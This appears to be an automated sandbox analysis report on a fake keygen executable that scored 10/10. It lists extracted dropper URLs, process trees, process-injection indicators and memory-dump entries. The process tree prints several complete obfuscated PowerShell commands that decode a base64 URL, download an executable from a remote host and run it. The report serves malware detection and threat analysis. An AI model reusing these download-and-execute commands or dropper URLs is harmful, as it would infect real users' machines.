201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
30s
max time network
142s
platform
windows10_x64
resource
win10v200722
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (37) — копия.exe

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Signatures

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

11 1004 powershell.exe
12 1264 powershell.exe
14 1004 powershell.exe
16 1264 powershell.exe
17 4200 powershell.exe
20 4200 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 8 IoCs

Processes:

Keygen.execko.exeuom.exeFVjhgtresfdbv.exexno.exeNHtrdsaghfDF.exeuom.exeFVjhgtresfdbv.exe

pid process

3948 Keygen.exe
4932 cko.exe
5000 uom.exe
5100 FVjhgtresfdbv.exe
5112 xno.exe
3124 NHtrdsaghfDF.exe
3532 uom.exe
3680 FVjhgtresfdbv.exe

flow	pid	process
11	1004	powershell.exe
12	1264	powershell.exe
14	1004	powershell.exe
16	1264	powershell.exe
17	4200	powershell.exe
20	4200	powershell.exe

pid	process
3948	Keygen.exe
4932	cko.exe
5000	uom.exe
5100	FVjhgtresfdbv.exe
5112	xno.exe
3124	NHtrdsaghfDF.exe
3532	uom.exe
3680	FVjhgtresfdbv.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

uom.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

description	pid	process	target process
PID 5000 set thread context of 3532	5000	uom.exe	uom.exe
PID 5100 set thread context of 3680	5100	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 3124 set thread context of 2700	3124	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

3492 timeout.exe
212 timeout.exe
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000_Classes\Local Settings cmd.exe

pid	process
3492	timeout.exe
212	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 21 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
1460	powershell.exe
1004	powershell.exe
1264	powershell.exe
2920	powershell.exe
1460	powershell.exe
4200	powershell.exe
1004	powershell.exe
1264	powershell.exe
2920	powershell.exe
4260	powershell.exe
4260	powershell.exe
1460	powershell.exe
4200	powershell.exe
1264	powershell.exe
1004	powershell.exe
2920	powershell.exe
2920	powershell.exe
4260	powershell.exe
4200	powershell.exe
4200	powershell.exe
4260	powershell.exe

Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

uom.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

5000 uom.exe
5100 FVjhgtresfdbv.exe
3124 NHtrdsaghfDF.exe

pid	process
5000	uom.exe
5100	FVjhgtresfdbv.exe
3124	NHtrdsaghfDF.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1004	powershell.exe
Token: SeDebugPrivilege	1460	powershell.exe
Token: SeDebugPrivilege	1264	powershell.exe
Token: SeDebugPrivilege	2920	powershell.exe
Token: SeDebugPrivilege	4200	powershell.exe
Token: SeDebugPrivilege	4260	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

Keygen.exeuom.exeFVjhgtresfdbv.exexno.exeNHtrdsaghfDF.exe

pid process

3948 Keygen.exe
5000 uom.exe
5100 FVjhgtresfdbv.exe
5112 xno.exe
3124 NHtrdsaghfDF.exe

pid	process
3948	Keygen.exe
5000	uom.exe
5100	FVjhgtresfdbv.exe
5112	xno.exe
3124	NHtrdsaghfDF.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (37) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exeuom.exepowershell.exe

description	pid	process	target process
PID 3732 wrote to memory of 3424	3732	Keygen — копия (37) — копия.exe	cmd.exe
PID 3732 wrote to memory of 3424	3732	Keygen — копия (37) — копия.exe	cmd.exe
PID 3732 wrote to memory of 3424	3732	Keygen — копия (37) — копия.exe	cmd.exe
PID 3424 wrote to memory of 3948	3424	cmd.exe	Keygen.exe
PID 3424 wrote to memory of 3948	3424	cmd.exe	Keygen.exe
PID 3424 wrote to memory of 3948	3424	cmd.exe	Keygen.exe
PID 3424 wrote to memory of 3488	3424	cmd.exe	mshta.exe
PID 3424 wrote to memory of 3488	3424	cmd.exe	mshta.exe
PID 3424 wrote to memory of 3488	3424	cmd.exe	mshta.exe
PID 3424 wrote to memory of 3244	3424	cmd.exe	mshta.exe
PID 3424 wrote to memory of 3244	3424	cmd.exe	mshta.exe
PID 3424 wrote to memory of 3244	3424	cmd.exe	mshta.exe
PID 3424 wrote to memory of 3492	3424	cmd.exe	timeout.exe
PID 3424 wrote to memory of 3492	3424	cmd.exe	timeout.exe
PID 3424 wrote to memory of 3492	3424	cmd.exe	timeout.exe
PID 3424 wrote to memory of 2276	3424	cmd.exe	mshta.exe
PID 3424 wrote to memory of 2276	3424	cmd.exe	mshta.exe
PID 3424 wrote to memory of 2276	3424	cmd.exe	mshta.exe
PID 3424 wrote to memory of 2776	3424	cmd.exe	mshta.exe
PID 3424 wrote to memory of 2776	3424	cmd.exe	mshta.exe
PID 3424 wrote to memory of 2776	3424	cmd.exe	mshta.exe
PID 3424 wrote to memory of 212	3424	cmd.exe	timeout.exe
PID 3424 wrote to memory of 212	3424	cmd.exe	timeout.exe
PID 3424 wrote to memory of 212	3424	cmd.exe	timeout.exe
PID 2776 wrote to memory of 2920	2776	mshta.exe	powershell.exe
PID 2776 wrote to memory of 2920	2776	mshta.exe	powershell.exe
PID 2776 wrote to memory of 2920	2776	mshta.exe	powershell.exe
PID 2276 wrote to memory of 1004	2276	mshta.exe	powershell.exe
PID 2276 wrote to memory of 1004	2276	mshta.exe	powershell.exe
PID 2276 wrote to memory of 1004	2276	mshta.exe	powershell.exe
PID 3244 wrote to memory of 1460	3244	mshta.exe	powershell.exe
PID 3244 wrote to memory of 1460	3244	mshta.exe	powershell.exe
PID 3244 wrote to memory of 1460	3244	mshta.exe	powershell.exe
PID 3488 wrote to memory of 1264	3488	mshta.exe	powershell.exe
PID 3488 wrote to memory of 1264	3488	mshta.exe	powershell.exe
PID 3488 wrote to memory of 1264	3488	mshta.exe	powershell.exe
PID 3424 wrote to memory of 3588	3424	cmd.exe	mshta.exe
PID 3424 wrote to memory of 3588	3424	cmd.exe	mshta.exe
PID 3424 wrote to memory of 3588	3424	cmd.exe	mshta.exe
PID 3424 wrote to memory of 1792	3424	cmd.exe	mshta.exe
PID 3424 wrote to memory of 1792	3424	cmd.exe	mshta.exe
PID 3424 wrote to memory of 1792	3424	cmd.exe	mshta.exe
PID 3588 wrote to memory of 4200	3588	mshta.exe	powershell.exe
PID 3588 wrote to memory of 4200	3588	mshta.exe	powershell.exe
PID 3588 wrote to memory of 4200	3588	mshta.exe	powershell.exe
PID 1792 wrote to memory of 4260	1792	mshta.exe	powershell.exe
PID 1792 wrote to memory of 4260	1792	mshta.exe	powershell.exe
PID 1792 wrote to memory of 4260	1792	mshta.exe	powershell.exe
PID 1004 wrote to memory of 4932	1004	powershell.exe	cko.exe
PID 1004 wrote to memory of 4932	1004	powershell.exe	cko.exe
PID 1004 wrote to memory of 4932	1004	powershell.exe	cko.exe
PID 1264 wrote to memory of 5000	1264	powershell.exe	uom.exe
PID 1264 wrote to memory of 5000	1264	powershell.exe	uom.exe
PID 1264 wrote to memory of 5000	1264	powershell.exe	uom.exe
PID 5000 wrote to memory of 5100	5000	uom.exe	FVjhgtresfdbv.exe
PID 5000 wrote to memory of 5100	5000	uom.exe	FVjhgtresfdbv.exe
PID 5000 wrote to memory of 5100	5000	uom.exe	FVjhgtresfdbv.exe
PID 4200 wrote to memory of 5112	4200	powershell.exe	xno.exe
PID 4200 wrote to memory of 5112	4200	powershell.exe	xno.exe
PID 4200 wrote to memory of 5112	4200	powershell.exe	xno.exe
PID 5000 wrote to memory of 3124	5000	uom.exe	NHtrdsaghfDF.exe
PID 5000 wrote to memory of 3124	5000	uom.exe	NHtrdsaghfDF.exe
PID 5000 wrote to memory of 3124	5000	uom.exe	NHtrdsaghfDF.exe
PID 5000 wrote to memory of 3532	5000	uom.exe	uom.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (37) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (37) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3732

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EAC3.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (37) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3424

C:\Users\Admin\AppData\Local\Temp\EAC3.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3948

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\EAC3.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3488

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1264

C:\Users\Public\uom.exe
"C:\Users\Public\uom.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5000

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5100

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
PID:3680

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:3124

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
PID:2700

C:\Users\Public\uom.exe
"C:\Users\Public\uom.exe"
6⤵
- Executes dropped EXE
PID:3532

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\EAC3.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3244

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1460

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:3492

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\EAC3.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2276

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1004

C:\Users\Public\cko.exe
"C:\Users\Public\cko.exe"
5⤵
- Executes dropped EXE
PID:4932

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\EAC3.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2776

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2920

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:212

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\EAC3.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3588

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4200

C:\Users\Public\xno.exe
"C:\Users\Public\xno.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5112

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\EAC3.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1792

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4260

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Temp\EAC3.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\EAC3.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\EAC3.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\EAC3.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\EAC3.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\EAC3.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\EAC3.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\EAC3.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\EAC3.tmp\start.bat

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Public\cko.exe

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C:\Users\Public\cko.exe

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C:\Users\Public\uom.exe

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C:\Users\Public\uom.exe

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C:\Users\Public\uom.exe

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C:\Users\Public\xno.exe

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C:\Users\Public\xno.exe

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memory/212-16-0x0000000000000000-mapping.dmp

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memory/1004-18-0x0000000000000000-mapping.dmp

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memory/1004-22-0x0000000070270000-0x000000007095E000-memory.dmp

Filesize
6.9MB

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memory/1004-24-0x00000000069C0000-0x00000000069C1000-memory.dmp

Filesize
4KB

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memory/1264-20-0x0000000000000000-mapping.dmp

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memory/1264-75-0x0000000007FC0000-0x0000000007FC1000-memory.dmp

Filesize
4KB

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memory/1264-26-0x0000000070270000-0x000000007095E000-memory.dmp

Filesize
6.9MB

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memory/1264-88-0x00000000080A0000-0x00000000080A1000-memory.dmp

Filesize
4KB

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memory/1264-87-0x0000000009740000-0x0000000009741000-memory.dmp

Filesize
4KB

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memory/1460-23-0x0000000070270000-0x000000007095E000-memory.dmp

Filesize
6.9MB

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memory/1460-42-0x0000000007780000-0x0000000007781000-memory.dmp

Filesize
4KB

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memory/1460-37-0x0000000006CD0000-0x0000000006CD1000-memory.dmp

Filesize
4KB

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memory/1460-19-0x0000000000000000-mapping.dmp

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memory/1460-66-0x0000000008090000-0x0000000008091000-memory.dmp

Filesize
4KB

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memory/1460-64-0x0000000007520000-0x0000000007521000-memory.dmp

Filesize
4KB

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memory/1460-101-0x000000000A1B0000-0x000000000A1B1000-memory.dmp

Filesize
4KB

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memory/1460-29-0x0000000006D50000-0x0000000006D51000-memory.dmp

Filesize
4KB

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memory/1460-40-0x0000000007700000-0x0000000007701000-memory.dmp

Filesize
4KB

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memory/1460-39-0x00000000074B0000-0x00000000074B1000-memory.dmp

Filesize
4KB

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memory/1460-99-0x0000000009300000-0x0000000009301000-memory.dmp

Filesize
4KB

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memory/1460-100-0x0000000009120000-0x0000000009121000-memory.dmp

Filesize
4KB

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memory/1792-36-0x0000000000000000-mapping.dmp

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memory/2276-13-0x0000000000000000-mapping.dmp

